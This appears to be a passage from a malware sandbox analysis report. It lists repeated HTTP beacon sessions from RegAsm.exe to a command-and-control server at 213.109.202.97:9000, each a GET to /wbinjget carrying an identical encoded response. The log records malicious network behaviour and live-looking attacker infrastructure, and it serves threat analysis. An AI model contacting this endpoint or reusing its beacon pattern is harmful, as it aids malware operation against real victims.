Oct 19, 2024 03:39:06.286428928 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:05 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50071	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:06.418240070 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:07.304173946 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:06 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50072	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:07.423502922 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:08.293566942 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:07 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50073	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:08.404933929 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:09.300503016 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:08 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50074	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:09.421134949 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:10.307332993 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50075	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:10.420250893 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:11.320425987 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:10 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50077	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:11.435564041 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:12.298357964 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:12 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50078	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:12.454708099 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:13.359596014 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:13 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50079	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:13.482669115 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:14.503421068 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:13 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:39:14.587755919 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:13 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50080	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:14.623637915 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:18.505316019 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:17 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50082	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:18.623240948 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:19.488053083 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:19 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50083	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:19.610902071 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:20.480984926 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:20 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50084	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:20.655087948 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:21.538784981 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:21 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50086	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:21.654994011 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:22.540489912 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:21 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50087	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:22.654544115 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:23.531913996 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:22 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50088	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:23.639341116 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:24.511524916 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:24 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50089	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:24.625322104 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:25.484899998 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:25 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50090	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:25.594880104 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:26.813673019 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:26 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=
Oct 19, 2024 03:39:26.813730955 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:26 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50091	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:26.940112114 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:27.854231119 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:27 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50092	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

